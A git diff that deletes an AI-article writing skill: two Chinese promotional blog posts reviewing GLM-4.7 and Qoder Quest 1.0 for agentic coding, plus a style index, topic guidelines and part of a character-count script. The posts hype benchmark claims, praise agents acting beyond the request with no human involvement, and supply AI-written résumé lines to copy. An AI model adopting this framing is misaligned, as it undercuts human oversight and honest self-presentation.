-假如你没有应用场景,也没必要硬凑。没有龙虾的日子,也许会更幸福一点。 - -反正我爸每天就是打打牌,晒晒太阳,我就很羡慕他。 - -当然了,有龙虾的日子,我也过得很幸福。因为它确实有帮助到我——一个简单的 gitcode 账号审核,就帮了我大忙。 - -【**工具的价值,不在于它有多火,而在于它能不能帮你解决真实的问题。**】 - -我们下期见,冲啊! \ No newline at end of file diff --git a/.codex/skills/ai-article/references/glm4-7.md b/.codex/skills/ai-article/references/glm4-7.md deleted file mode 100644 index e4efc6be9a..0000000000 --- a/.codex/skills/ai-article/references/glm4-7.md +++ /dev/null @@ -1,274 +0,0 @@ -# 实测GLM-4.7,我想给他当股东了 - -大家好,我是二哥呀。 - -这几天,相信大家肯定都被一个产品刷屏了。 - -GLM-4.7。 - -就是这个后端工程能力媲美 Claude Sonnet 的国产大模型。 - -![GLM-4.7的截图](https://cdn.paicoding.com/stutymore/glm4-7-4ca8dabe462f354687f5f6028c6eb81b.png) - -总参数 355B,专门面向 Coding 场景强化了编码、长程任务规划等能力,目前已在 Hugging Face、ModelScope 开源部署! - -![榜一](https://files.mdnice.com/user/3903/8153c477-d26f-4e18-a582-a7c186e32082.jpg) - -真不是我在刻意吹捧。你瞧,老外都在 x 上盛赞:GLM-4.7 超越了 Claude-Sonnet-4.5 和 GPT-5。 - -![老外盛赞 GLM-4.7](https://files.mdnice.com/user/3903/a9f9aaea-1137-4298-b02b-26dc986b30f2.jpg) - -这是一个了不起的成绩! - -下面是我通过 GLM-4.7 完成的一个 Agent 项目,可以实现工作流的拖拉编排。 - -![](https://files.mdnice.com/user/3903/76d859ed-c1f5-457b-a7b2-edfaef18fbc6.png) - -## 01、使用 Claude Code 接入 GLM-4.7 - -搞不懂,Claude 明明很封闭,直接断供 Open Code,逼着 Clawdbot 改名 Moltbot。 - -但 Claude Code 的模型调用层,却是可配置、可替换的。我们只需要在 `.claude/settings.json` 中把 ANTHROPIC_AUTH_TOKEN 替换为 GLM-4.7 的 API Key 就可以了。 - -另外一个配置项 ANTHROPIC_BASE_URL 的值固定为 `https://open.bigmodel.cn/api/anthropic`。 - -![](https://files.mdnice.com/user/3903/b2faefbb-9476-4128-8e13-299a9366ec8c.png) - -一点都不难吧? - -保存后,重启 Claude Code,输入 `/status`,如果看到 BigModel.cn 的身影,就说明配置成功了。 - -![](https://files.mdnice.com/user/3903/0e2ae8a6-d341-4b3c-9183-00ac273aaf7a.png) - -给自己比个耶吧! - -从此以后,你将拥有一个无所不能的 Agent,可以帮你写代码、修 bug、读源码,甚至可以帮你搭建项目骨架、部署生产环境上线等。 - -## 02、GLM-4.7 的后端工程能力 - -前置环境搞定后,我们直接来新增需求,很简单一句话,我们看看 GLM-4.7 是否能够通情达理,get 到我们的诉求。 - -> 我现在需要在大模型节点下新增一个智谱节点 - -tips:拒绝花里胡哨的提示词,真正检验大模型的能力😄 - -![](https://files.mdnice.com/user/3903/33109199-6cac-4113-b0a7-48c71f6db686.png) - - -能看到,GLM-4.7 会先探索我们的代码库,了解当前大模型节点的实现结构。 - -这一点至关重要,就好像我们打算出远门,总要去地图上看看路线,是吧,搞清楚目标和路线后再动手,免得返工。 - -遇到需要权限的诉求,我们直接给它。 - -![](https://files.mdnice.com/user/3903/b3240935-eee8-40fa-b90a-5a1132a40289.png) - -搞清楚工作流的执行引擎后,GLM-4.7 开始查看数据库和前端代码,非常严谨。 - -![](https://files.mdnice.com/user/3903/7972d192-c146-42a4-a450-3ab5d52e121c.png) - -前后端的代码+数据库搞清楚后,开始正式写代码。真正做到了“先思考、再行动”。 - -![](https://files.mdnice.com/user/3903/55396f3c-88da-49b9-a7ce-2bf1ca0d3404.png) - -有代码需要调整的地方,也会清楚的告诉我们。 - -![](https://files.mdnice.com/user/3903/ba6c1ade-1c9f-4314-923f-9de0bb765345.png) - -我选择全权交给 GLM-4.7 来处理,我只要最后的结果,不过在历史上下文当中,我们也可以再次确认都在哦了哪些修改,一目了然。 - -![](https://files.mdnice.com/user/3903/4213fa33-9eb4-4083-b5a0-b73a7a5b0854.jpg) - -和其他模型有很大的不同,GLM-4.7 非常非常负责任,除了完成你需要他干的活,还会自动检查其他哪些地方需要修改。 - -![](https://files.mdnice.com/user/3903/b30454f9-1b10-436f-9773-ada8bb2f3a21.png) - -所有的任务都搞定后,会给我们列一个任务完成清单。 - -![](https://files.mdnice.com/user/3903/d47be429-54fe-4ceb-8ea6-6ce750326d38.png) - -好,我们直接来看一下效果,完全符合我的预期啊,这可不是闹着玩的 demo 项目,而是一个完全可以运行的工作流编排项目,也是当前最火的 AI 业务之一。 - -![](https://files.mdnice.com/user/3903/2522c463-b952-476f-9c1f-3dc3c92fa923.png) - -竟然一次性搞定了! - -从整个交互体验来看,GLM-4.7 更习惯站在“任务交付”的视角,而不是“回答问题”的视角。它给出的不再是零散代码片段,而是: - -- 明确的模块划分 -- 可运行的代码骨架 -- 清楚的依赖关系和执行顺序 -- 对边界情况的主动补充说明 - -这种感觉很像一个工程经验老道的同事,而不是一个只会补全代码的工具。 - -有意思,有意思,越来越有意思了。 - -## 03、GLM-4.7 的 bug 修复能力 - -考验 GLM-4.7 的时候到了,因为真正能拉开差距的地方,真不是第一次写代码的时候,而是出问题之后,能不能把 bug 给收拾干净。 - -接口报错、鉴权失败、参数不对、依赖冲突,这些东西不可能一次写对。 - -GLM-4.7 给我的体感非常明确:他不是在“猜怎么改”,而是顺着错误把问题先定位一遍。 - -比如我在调试过程中遇到了一个很典型的 API 鉴权问题,请求已经发出,但却响应失败了。我没去分析日志,也没有补充额外解释,而是简单粗暴把错误堆栈原样丢给 GLM-4.7。 - -![](https://files.mdnice.com/user/3903/5c53d34d-112d-4da0-92bd-0893ec5d5a3d.png) - -GLM-4.7 没有着急去改代码,而是先判断: - -- 是 Key 配置问题,还是 Header 拼错? -- 是鉴权方式不匹配,还是请求路径有误? -- 当前代码和官方示例是否存在实现差异? - -这个思考方式,就有点老员工的“工程化”思维了。然后在定位到问题之后,他会明确告诉我们:这里还是那里不对、为什么不对、应该怎么改。 - -这里顺手分享一个非常实用的小技巧,可能很多人都忽视了。如果你发现第一次请求发出后,还有一些信息需要补充,可以在 GLM-4.7 返回结果前直接再输入一次附加信息。 - -![](https://files.mdnice.com/user/3903/065c226a-f9c5-4bdb-ad76-a8994b07e577.png) - -还有一种场景,不知道大家有没有注意到。在修 bug 时非常常见:当前实现和官方 demo 对不上。 - -这时候最省事的方式就是——把官方代码示例直接丢给 GLM-4.7。这其实也在考验我们的 Vibe Coding 能力,能不能必要时刻给 AI 一个明确的指示。 - -省得他在那瞎琢磨。 - -这一步的价值在于:我们不需要自己一点点 diff 官方和实现的差异,模型会主动帮我们把“意图”和“实现”对齐。 - -![](https://files.mdnice.com/user/3903/0b841cc0-d755-4056-bade-f10a2834ae5e.png) - -当然,bug 修完不是终点,它还会自己检查一遍。这一点,是我觉得 GLM-4.7 非常加分的地方。 - -当你以为事情已经结束了,它往往会多做一步:扫一遍有没有遗漏的地方。 - -- 是否还有调用链没改干净? -- 是否有前端或数据库字段需要同步调整? -- 是否存在潜在的边界问题? - -![](https://files.mdnice.com/user/3903/532dfeef-3ee2-4404-90d3-6fe8d29b898e.png) - -等所有地方都确认无误之后,他才会给你一个完整的修改清单。 - -讲良心话,我试过其他的模型,这种自我反思的能力就差点意思,经常是你让他改一个地方,他就改一个地方。 - -殊不知,bug 就藏着这里面,因为有很多时候,代码都是联动的,牵一发而动全身。 - -老程序员经常告诫我们:勿动屎山,就是因为屎山虽然臭,但它是能运行的。你以为你改好了,实际上 P0 事故可能离你不远了。😄 - -我们人的精力毕竟有限,但大模型不一样啊,无非就是费点token。 - -好,我们来看一下修改后的效果,非常 nice。一个完整的输入 →llm 大模型 → 超拟人合成 → 输出的工作流编排就算是完成了。 - -![](https://files.mdnice.com/user/3903/cd5005f4-eaaf-4198-9ea0-91aa9d3236c7.png) - -## 04、GLM-4.7 的前端工程能力 - -现在的执行状态,是等所有节点都跑完之后,前端一次性展示结果。 - -但从用户体验上来说,状态流转应该是一个动态过程: - -- LLM 节点开始执行 → 执行中 → 执行完成 -- 接着切换到 TTS 节点 → 执行中 → 执行完成 -- 最后到结束节点,整体流程结束 - -我们把需求直接扔给 GLM-4.7: - -> 现在有个问题,我发现,执行状态、节点执行结果都是等所有节点都执行完后才显示出来的,实际上这应该是一个动态的过程,llm 节点开始执行的时候执行状态就切到 llm 节点开始执行、执行中、执行结束,然后到 tts 的开始执行、执行中、执行结束,最后到结束节点,这应该是实时响应的。前后端需要联调起来。 - -面对这个问题,GLM-4.7 并没有一上来就写代码,而是先明确了一点:这是一个典型的「执行状态实时推送」问题,技术上可以用 SSE,也可以用 WebSocket。 - -![](https://files.mdnice.com/user/3903/b5479227-d9fe-446e-96db-171d552c15d6.png) - -为了方便后期能够主动中断工作流的执行,GLM-4.7 选择了 WebSocket。 - -![](https://files.mdnice.com/user/3903/97494a97-0e94-40ef-9ce6-7beb2479dd94.png) - -GLM-4.7 并没有只盯着前端,而是从后端执行引擎开始改起: - -- 后端增加 WebSocket 依赖和基础配置 -- 新增 WebSocket Handler,用于推送节点执行状态 -- 在执行引擎中,把“节点生命周期”拆成可感知的事件 -- 在节点开始、执行中、结束等关键节点,主动向前端推送状态 - -后端改完之后,它才开始动前端。前端这边的改动也非常清晰: - -- 建立 WebSocket 连接 -- 监听后端推送的执行事件 -- 根据节点 ID 实时更新节点状态 -- 让画布上的节点“活”起来,而不是等结果一次性刷新 - -![](https://files.mdnice.com/user/3903/b68ce1a3-7b00-40b8-aa0e-0d6e92f0d78a.jpg) - -有一个细节,我觉得特别加分。在节点执行完成后,GLM-4.7 顺手把节点执行结果里的 JSON 文本做了格式化展示,而不是直接把一坨字符串甩给用户。 - -![](https://files.mdnice.com/user/3903/e494e38a-536e-4308-bded-a88ca17ef1bb.png) - -这个动作看起来很小,但非常贴心。 - -我录了一个完整的视频,大家可以看看,非常完美。从输入 → LLM 执行 → TTS 合成 → 输出完成, -每一步都是实时可见的。 - -【视频】 - -到这一刻,我心里已经笃定了:GLM-4.7 已经不只是“会写前端代码”,还能理解前端在整个系统中的位置和责任。 - -除了硬核的实战代码能力之外,这次的 GLM-4.7 还进一步提升了前端审美。 - -我们直接来让它来帮我们把用户界面改造为赛博朋克风。 - -![](https://files.mdnice.com/user/3903/8ed438ce-2ad4-4980-9768-b3ffb425ecda.png) - -当然了,这个过程中也出现了一些其他的小问题,但好在经过我和 GLM-4.7 的通力合作,算是都解决了。来看一下最后呈现的效果吧。 - -![](https://files.mdnice.com/user/3903/eb753b08-4459-4190-916d-8fbdc2eeb0f8.jpg) - -是不是很酷? - -## 05、Coding Plan 年包计划 - -如果只让我用一句话来总结真实体感,那就是: - -**GLM-4.7,已经坐实了 Claude 的最佳平替,绝不是嘴上说说那种。** - -从 GLM-4.5 出来能承接一部分编程小项目,再到 GLM-4.6 更强的编程,智谱今年在 Coding 上的发力是完全没有想到的力度。 - -不是在榜单里跑分,也不是写几个 demo case,而是放进真实工程、真实 Agent、真实联调环境里之后,你会明显感觉到一件事——它确实是一个称心&顺手的「工程生产力工具」了。 - -- 它能读懂真实项目结构,而不是只看单文件; -- 它习惯从“任务交付”而不是“回答问题”的角度出发; -- 它会主动检查遗漏、修 bug、补联调,而不是写完就走; -- 它在前后端协同、状态流转、工程约束这些地方,明显是有经验积累的。 - -我自己是订阅了智谱的 Coding Plan 年包计划,平常开发基本上不用担心 token 的用量问题,性价比这一点,对比一下 Claude 那是香的没得说。 - -![](https://files.mdnice.com/user/3903/b2584a71-d8b5-4c66-8b66-e4e74ac1e9e3.png) - -- 更稳定的 Coding 专用模型调度策略 -- 对长上下文、复杂任务拆解的明显优化 -- 在 Claude Code、IDE 类工具里的兼容性持续增强 -- 对 Agent 场景、工具调用、任务连续性的支持越来越完整 - -从一个开发者的角度说,这种投入是非常值得的。 - -如果你现在正好在做 Agent、做工作流、做复杂业务系统,或者你只是单纯想提升自己的工程效率、在 AI 时代把生产力再往上抬一档。 - -那 GLM-4.7 **绝对是一个明智的选择。** - -## 06、ending - -我坚信,AI 编程,一定会有光明的未来。 - -哪怕现阶段还有很多的不完美。 - -但日子还长,只要抱有希望,抱有对这个世界的热爱。 - -我们就一定能用 AI Coding 实现更多的创业,挖掘更多的商业价值。 - -给这个世界创造更多的可能性。 - -如果这篇内容对你有用,记得点赞,转发给需要的人。 - -我们下期见! - - diff --git a/.codex/skills/ai-article/references/quest-2.md b/.codex/skills/ai-article/references/quest-2.md deleted file mode 100644 index 916373777e..0000000000 --- a/.codex/skills/ai-article/references/quest-2.md +++ /dev/null @@ -1,233 +0,0 @@ -# 转发很高 - -大家好,我是二哥呀。 - -刚升级完 Qoder 到 0.2.29,就看到这个提醒:Quest 1.0 全新发布,将任务交给 Quest,Agent 能够自主完成高质量、端到端、可交付的结果,**无需人工持续介入**。 - -![](https://cdn.paicoding.com/stutymore/2026nian9096-image37.png) - -讲真,这才是 AI Coding 的终极未来嘛,自主进化,我们只需要告诉 Qoder 我们的想法,Quest 会先对齐需求和约束,然后执行并验收。 - -整个过程据说能持续 26 多小时,这意味着 Quest 1.0 模式下的 Qoder,具备了长上下文的能力。 - -![](https://files.mdnice.com/user/3903/72167ac5-f8f1-4f21-9258-19eab8ce84b5.png) - -Quest 1.0 最重要的升级是:Quest 不再依赖单一的模型完成所有任务。它的智能路由系统会根据子任务特性,比如代码生成、逻辑推理、视觉理解、重构优化,自动调度到最适合的 SOTA 模型。 - -我也录了一个完整的视频,大家可以感受下。 - -【视频】 - -接下来我会带大家真正实操一把,体验用 Quest 1.0 重构传统 Java 后端项目的完整过程——通过 SpringAI 和SpringAI Alibaba 给项目赋能 AI 能力。 - -![](https://cdn.paicoding.com/stutymore/2026nian6554-image6052.png) - -## 01、导入 PaiAgent - -好,打开我们的 PaiAgent 项目,可以看到 Quest 模式从左侧的侧边栏移动到了导航栏的左上角。 - -> 源码已经开源在 GitHub 上:https://github.com/itwanger/PaiAgent - -![](https://files.mdnice.com/user/3903/0ad14df9-e444-4601-b67c-0f40c97dfac2.png) - -点击【Editor】旁边的【Quest】就可以切换到全新布局。在 Quest 1.0 模式下,左边是 Agent 对话区,右侧是编码区和预览区。 - -![](https://files.mdnice.com/user/3903/40fb74c2-24ee-40f4-a481-32f152e56bd5.png) - -Agent 对话区域从右到左,也就意味着在 Quest 1.0 模式下,真正的主角是 Agent。点击 Quest 右侧的【+】号,可以开启一个全新视窗,非常干净。 - -![](https://files.mdnice.com/user/3903/97486d40-77ef-48f5-bc24-01a5f608e509.png) - -在 Claude Code 或者 Qoder CLI 模式下,Vibe Coding 主打一个你说一件事它干一件事。 - -**在 Quest 1.0 模式下,主打一个你说一件事,它干 N 件事**。它会把我们的一个想法,或者一个需求掰开揉碎确认一遍,然后自己拆任务,自己写代码,自己跑起来,自己验收,甚至出错了还能自己改 bug。 - -这种能力,在产品初期的骨架搭建环节,在项目重构技术栈的环节,会非常有帮助。 - -## 02、集成 SpringAI - -前面我们搭建好了 PaiAgent 项目的骨架,但还没有集成 SpringAI,那接下来,我们就通过 Qoder 的 Quest 1.0 来重构一下技术栈。 - -![](https://github.com/itwanger/PaiAgent/raw/main/image/README-29e9a00fc44f42298da9bd230bb8fe96.png) - -我的提示词是: - -> PaiAgent 项目目前还没有集成 SpringAI,但 SpringAI 目前非常火,很多岗位的 jd 中明确要求有这方面的开发经验,目前稳定的版本是 SpringAI 1.1.2 官方 doc 为:https://docs.spring.io/spring-ai/reference/ 那我希望把 SpringAI 集成进来后,重构我们原有的和大模型通信的方式。 - -Qoder 会提示我们这事一个涉及架构重构的复杂任务,最好先生成 Spec,确认后再开始执行。 - -![](https://files.mdnice.com/user/3903/6f1c03cd-1e7b-4953-923b-396b913f0f92.png) - -OK,我们点击【生成 Spec】。 - -能看得出来,此时 Qoder 进行了深度思考,它首先探索现有的代码库,了解当前与大模型通信的实现方式,接着查阅 Spring AI 的官方文档,然后设计集成方案。 - -![](https://files.mdnice.com/user/3903/cbd3f80f-0fc1-4bb0-9b4c-5b5b1fe7c926.jpg) - -这个过程其实蛮值得我们停下来去学习和思考的。关键的地方来了,Qoder 向我们提出了三个问题。 - -第一个:集成 SpringAI 后,是否需要保持现有的动态配置能力,我选择 A。 - -![](https://files.mdnice.com/user/3903/6f07290b-473b-4d2c-b9ef-fdf34fd6a124.png) - -第二个:项目中 DeepSeek 和 Qwen 是通过 OpenAI 兼容 API 调用的,对于通义千问,你希望那种方式,我选择集成阿里巴巴官方的 SpringAI 扩展,支持 dashscope 全部能力。 - -第三个:是否需要支持流式输出功能,SpringAI 原生支持,我选择 B,重构的时候前端一并实现。 - -![](https://files.mdnice.com/user/3903/33ae7376-eae3-4133-8ce7-18c36f399de4.png) - -如果你在这个过程中不确定选哪个,点击左下角的【推荐选项】就可以了。 - -完事点击【继续】,Qoder 就开始我们生成 Spec 文档了,基于 Spring AI 1.1.2 框架重构现有的 LLM 通信层,引入 ChatClient 工厂,根据节点配置在运行时创建不同的 ChatClient 实例,同时抽象公共的 prompt 处理逻辑。 - -![](https://files.mdnice.com/user/3903/b9604ecb-e811-478c-aab8-335e880f536c.png) - -快速过一遍 Spec 文档,发现非常详实,和我预期的重构几乎一模一样,真的,心有灵犀啊,兄弟。 - -![](https://files.mdnice.com/user/3903/0754fbfe-90f5-4810-902d-eeb2a00f1757.png) - -好,点运行开始干活吧! - -![](https://files.mdnice.com/user/3903/a04a495a-84c9-4959-93f8-1bf054003d80.png) - -重构的过程我一直在瞅着,发现 Qoder 的代码规范程度非常高,几乎遵守了每一条阿里巴巴开发规约。 - -啧啧啧,不愧是阿里出品! - -![](https://files.mdnice.com/user/3903/0e01231a-1ded-4bbc-b916-b678df2107dd.jpg) - -这个过程中,如果你想查看任何一个正在修改的类,点击左边 AI 聊天窗口的类名就可以了。 - -学习,从现在开始! - -![](https://files.mdnice.com/user/3903/6353e378-8e78-4715-af20-410b70f31885.png) - -待办窗口还可以看到目前的文件修改进度,哪些已经完成,哪些待完成,一目了然。 - -这次一共新增了 4 个文件,修改了 5 个文件,主要改进有四处: - -- 三个 LLM 执行器的公共逻辑统一抽取到 AbstractLLMNodeExecutor -- 通过 progressCallback 推送流式消息 -- 每个节点可独立配置 apiKey/apiUrl/model -- 使用 Spring AI 的 ChatClient 接口,OpenAI/DeepSeek/Qwen 都可以通过 OpenAI 兼容接口调用 - -![](https://files.mdnice.com/user/3903/c937cbf0-d774-4abe-b4ba-ecf8618be08e.jpg) - -眼尖的同学应该已经发现了,一开始我们要求集成 Spring AI 1.1.2,最后集成的却是 Spring AI 1.0.0-M5,原因 Qoder 也告诉我们了:spring-ai-alibaba 的兼容性问题。 - -再次印证一点,永远不要尝试最新版本,稳定才是软件开发的第一定律。😄 - -OK,我们启动前后端,来试一下。 - -![](https://files.mdnice.com/user/3903/b3526727-3e93-4c0d-bf9c-fdbfdae3f249.png) - -看一下控制台的错误,RetryUtils 这里报错了,问题不大。 - -![](https://files.mdnice.com/user/3903/684780ec-f256-4cba-ad93-474cf72a8b3e.jpg) - -从日志里我们也可以确认一点,那就是 SpringAI 成功集成了,因为我看到了 spring-ai-retry-1.0.0-M5.jar 的日志。 - -好,启动 Qoder CLI,把错误扔进去。 - -![](https://files.mdnice.com/user/3903/c6f09c89-d641-469d-8eba-973e8f263426.png) - -很快,问题发现了,并不是代码的问题,而是我们的配置有问题。DeepSeek 的完整 API 端点应该是:`https://api.deepseek.com`(不包含 `/v1/chat/completions`),Spring AI 的 OpenAiApi 会自动添加 `/v1/chat/completions` 路径。 - -也就是说,SpringAI 的配置需求和我们之前的代码版本需求是不一样的。 - -修改配置,重新执行,一切正常。 - -![](https://files.mdnice.com/user/3903/d2dbd811-0ad0-4b12-8e34-3e8ad4a5418d.png) - -换句话说,Qoder 的 Quest 1.0 模式真的很强,重构这么多代码,竟然没有引入任何 bug,唯一的问题还是我们在配置 API 地址的时候没有兼容 SpringAI。 - -![](https://files.mdnice.com/user/3903/abc9073a-d860-4c4d-9532-c4195715b13d.png) - -交付质量确实无可挑剔! - -## 03、如何写到简历上? - -那,本次的开发任务,我们又该如何写到简历上呢? - -总要有成果,对吧? - -不管是日常的学习还是工作,总得有交付,Qoder 有交付,咱们也得有,不然不就白学了? - -当然,这个工作我们仍然交给 Qoder 的 Quest 1.0 模式来完成。提示词如下: - -> 好,我验证过了,修改一次性通过,恭喜你。接下来,我需要你根据本次的修改,提供一份可以写到简历上的方案。 - -![](https://files.mdnice.com/user/3903/1d5de7c4-82c6-420f-8033-bcc1f8d9a369.png) - -get 到的结果,可直接搬运。 - -项目名称:PaiAgent - 企业级 AI 工作流编排平台 - -项目描述:基于可视化流程编辑器的 AI Agent 工作流平台,支持用户通过拖拽方式编排多种大模型(DeepSeek、通义千问等)和工具节点,使用自研 DAG 引擎按拓扑顺序执行工作流,实现复杂 AI 任务的自动化编排与执行。 - -技术栈:Java 21、Spring Boot 3.4.1、Spring AI 1.0.0 - -核心职责: - -- 基于 Spring AI 框架重构 LLM 通信层,采用工厂模式+模板方法模式设计 ChatClientFactory 动态工厂和 AbstractLLMNodeExecutor 抽象基类,将 5 个 LLM 节点执行器的重复代码从 800+行精简至 75 行 -- 设计动态 ChatClient 创建机制,支持运行时根据工作流节点配置(apiKey/apiUrl/model)动态实例化不同厂商的 ChatClient,实现多租户场景下每个节点独立配置的能力 -- 抽取 PromptTemplateService 公共服务,统一处理 `{{variable}}` 模板变量替换和上下游节点参数引用映射,支持 input 静态值和 reference 动态引用两种参数类型 -- 基于 Spring AI 的 Flux 响应式流实现 LLM 流式输出,通过 SSE 实时推送生成进度到前端,配合现有 ExecutionEvent 事件机制,用户可实时查看 AI 生成过程 - -怎么样,是不是非常扎实? - -AI 应用开发,这不有了?爽歪歪不? - -## 04、集成 SpringAI Alibaba - -SpringAI Alibaba 是阿里巴巴官方开源的一款构建 Agent 智能体应用的框架,能力上集成了 SpringAI,专注于多智能体系统和工作流编排设计。 - -![](https://files.mdnice.com/user/3903/52871b1e-b7c6-481f-b330-1b61d952b74f.jpg) - -> 网址:https://java2ai.com/docs/overview/ - -这个框架在 GitHub 上也开源了,目前已经有 7.9k 的 star 了。 - -![](https://files.mdnice.com/user/3903/5447b442-a85c-44cf-9516-4eff04838670.jpg) - -原则上,同时在一个项目中集成 SpringAI 和 SpringAI Alibaba 是会冲突的,因为两个框架都注册了同名的 Spring Bean,主要是 ChatClientAutoConfiguration 中的 chatClientBuilderConfigurer Bean 重复定义,导致 BeanDefinitionOverrideException。 - -所以,如果想要集成 SpringAI Alibaba 的话,最好不要再集成 SpringAI。 - -![](https://files.mdnice.com/user/3903/da00756a-fae3-4c43-acba-623e27da2ef2.png) - -如果面试中,遇到类似的问题:那你讲讲 SpringAI 和 SpringAI alibaba 之间的区别? - -答:Spring AI 由 Spring 官方提供,主要解决的是怎么调用大模型 API 的问题,它把各家大模型的接口统一封装,类似于 JDBC 统一数据库接口一样。 - -Spring AI Alibaba 是阿里在 Spring AI 基础上做的扩展,它不光能调 API,还提供了 Agent 框架、工作流编排、RAG 检索这些更高级的能力。另外它对阿里云的通义千问有原生支持,不用走 OpenAI 兼容接口。简单说,Spring AI 是"调模型",Spring AI Alibaba 是"做智能体"。 - -好,我们重新开一个 Quest,输入提示词。 - -![](https://files.mdnice.com/user/3903/0a877886-6e86-49ad-ac2b-229a214d8627.jpg) - -让 Qoder 生成一份新的 Spec,重新开始干活(再苦再累,它也毫无怨言 😄)! - -![](https://files.mdnice.com/user/3903/3367418e-5b24-4037-aa7e-2839f8cc54dc.png) - -等 Qoder 完工后我们重新启动后端和前端,来测试一下。 - -![](https://files.mdnice.com/user/3903/9168f592-ebab-4721-96de-330ffa181ceb.png) - -一遍过,再次验证,Quest 1.0 模式下的 Qoder 工程能力实在是强,配得上 Self-Evolving Autonomous Agent! - -![](https://files.mdnice.com/user/3903/c232039b-76ec-465c-b8ae-0bcb447893f2.jpg) - -## 05、ending - -真心话,Quest 1.0 模式下的 Qoder,工程能力比我想象中的要强,以后重构屎山代码,或者从 0 到 1 搭建项目骨架就靠它了呀。 - -我们这次从集成 SpringAI 到切到 SpringAI Alibaba,中间牵扯版本兼容、Bean 冲突、配置差异这种典型的工程脏活,Qoder 处理得又稳又干净,最后交付一次性通过,说真的,这种体验很容易让人上瘾。 - -Quest 1.0 更像一个持续进化的同事,干活不抱怨,复盘不甩锅,遇到问题先自己查,再给你结论和方案,而且它还能在一个任务里跑很久很久,把你从那些细碎但必须做的事情里拎出来。 - -就像 Qoder 官方表达的愿景:**Quest on, Hands off**! - -启动任务,然后放手。让 AI 自己学习、自己解决问题、自己完成交付。还没有下载安装的同学可以抓紧时间体验一波了。 - -> 下载地址:https://qoder.com/download diff --git a/.codex/skills/ai-article/references/style-map.md b/.codex/skills/ai-article/references/style-map.md deleted file mode 100644 index 1eb6999bdc..0000000000 --- a/.codex/skills/ai-article/references/style-map.md +++ /dev/null @@ -1,88 +0,0 @@ -# 参考文索引 - -先看这份索引,再决定要不要继续读具体参考文。 - -## `glm4-7.md` - -适用场景: - -- 新模型发布后的首波评测 -- 强调性能、榜单、开发者反馈的文章 -- 想写出“我测过,而且我有明确态度”的感觉 - -写法特点: - -- 开头直接切热点,不铺垫太久 -- 情绪表达明显,适合“真香”“出乎意料”“这波有点猛” -- 一边讲体验,一边穿插截图和外部评价 - -不适合: - -- 纯教程 -- 需要严谨中立、弱观点的内容 - -## `quest-2.md` - -适用场景: - -- AI Coding 工具体验文 -- 讲一个功能如何改变工作流 -- 从“我刚试了一个新能力”切入的文章 - -写法特点: - -- 产品更新切入很快 -- 很适合把“实操过程”和“我的判断”交织在一起 -- 对工具行为、任务拆解、执行过程描述比较细 - -不适合: - -- 偏百科式科普 -- 需要大量背景知识梳理的文章 - -## `OpenClaw-install.md` - -适用场景: - -- 安装教程 -- 接入指南 -- 从零配置到跑通的落地文章 - -写法特点: - -- 先降低读者心理门槛,再逐步展开 -- 适合“有手就行”“跟着做”的保姆级讲法 -- 结构更偏步骤化,适合边讲边截图 - -不适合: - -- 模型能力评测 -- 以观点输出为主的评论文章 - -## `OpenClaw-unstall.md` - -适用场景: - -- 对话体文章 -- 面试问答式文章 -- 需要更强人物感和故事感的内容 - -写法特点: - -- 代入感强,开头很抓人 -- 适合用一问一答把复杂问题说清楚 -- 可以把枯燥操作写得更有戏剧性 - -不适合: - -- 官方说明风 -- 特别正式的技术总结 - -## 快速决策 - -如果你还拿不准,按这个顺序选: - -1. 要不要手把手教程?要的话先看 `OpenClaw-install.md` -2. 要不要故事感/对话感?要的话先看 `OpenClaw-unstall.md` -3. 是不是产品/模型评测?是的话优先 `glm4-7.md` -4. 是不是 AI Coding 工作流体验?是的话优先 `quest-2.md` diff --git a/.codex/skills/ai-article/references/topic-patterns.md b/.codex/skills/ai-article/references/topic-patterns.md deleted file mode 100644 index 36f695c336..0000000000 --- a/.codex/skills/ai-article/references/topic-patterns.md +++ /dev/null @@ -1,112 +0,0 @@ -# 热点选题模式 - -当用户没有明确题目,只想知道“最近 AI 写什么”时,先按下面的模式找方向。 - -## 选题优先级 - -优先找同时满足这三点的题: - -- 最近 7 到 14 天内有新动作 -- 有一手来源可核验 -- 能落到开发者、创作者或团队效率的真实场景 - -如果只是“热”,但没有可验证信息或没有可展开角度,不要硬写。 - -## 常用题型 - -### 1. 新模型 / 新版本发布 - -适合写什么: - -- 新模型能力变化 -- 对开发者工作流的直接影响 -- 和现有主流模型的差异 - -推荐输出结构: - -- 发生了什么 -- 为什么值得关注 -- 我最关心的 2 到 3 个变化 -- 适合谁上手 - -推荐参考写法: - -- `glm4-7.md` - -### 2. AI Coding 工具更新 - -适合写什么: - -- 新功能是否真的提升效率 -- 新工作流和旧工作流差在哪 -- 真实使用门槛和踩坑点 - -推荐输出结构: - -- 功能变化 -- 我怎么测 -- 测下来最有价值的点 -- 哪些宣传说法要打折 - -推荐参考写法: - -- `quest-2.md` -- `glm4-7.md` - -### 3. 教程型机会题 - -适合写什么: - -- 某个热门工具突然很多人不会装、不会配、不会接 -- 一篇教程就能解决高频问题 - -推荐输出结构: - -- 读者卡在哪里 -- 前置准备 -- 关键步骤 -- 常见报错和规避方式 - -推荐参考写法: - -- `OpenClaw-install.md` - -### 4. 观点型 / 现象型话题 - -适合写什么: - -- 一次发布引发的行业判断 -- 某类 Agent 工作流为什么突然火 -- 一种技术路线为什么开始替代旧方案 - -推荐输出结构: - -- 现象 -- 触发原因 -- 我认同什么,不认同什么 -- 对普通开发者意味着什么 - -推荐参考写法: - -- `glm4-7.md` -- `OpenClaw-unstall.md` - -## 选题输出格式 - -默认给 3 到 5 个方向,每个方向都写清: - -- 暂定标题 -- 题型 -- 新闻钩子或事件钩子 -- 为什么值得写 -- 可展开的 3 个角度 -- 推荐参考写法 - -## 放弃条件 - -遇到下面情况,宁可不推这个题: - -- 没有可靠来源 -- 只能复述新闻,没有独立角度 -- 题目太大,文章无法在 3000 到 4500 字内讲清 -- 和近期已经写过的题过于重复 diff --git a/.codex/skills/ai-article/scripts/check_body_length.py b/.codex/skills/ai-article/scripts/check_body_length.py deleted file mode 100644 index c8db2eab95..0000000000 --- a/.codex/skills/ai-article/scripts/check_body_length.py +++ /dev/null @@ -1,73 +0,0 @@ -#!/usr/bin/env python3 -# -*- coding: utf-8 -*- -""" -统计 Markdown 文件的正文长度 -排除 frontmatter、代码块、链接、图片等非正文内容 -只统计中文字符数 -""" - -import sys -import re -from pathlib import Path - -def count_chinese_chars(text): - """统计中文字符数量""" - # 移除所有空白 - text = re.sub(r'\s+', '', text) - - # 移除 Markdown 语法标记 - # 移除代码块 ```...``` - text = re.sub(r'```.*?```', '', text, flags=re.DOTALL | re.MULTILINE) - # 移除行内代码 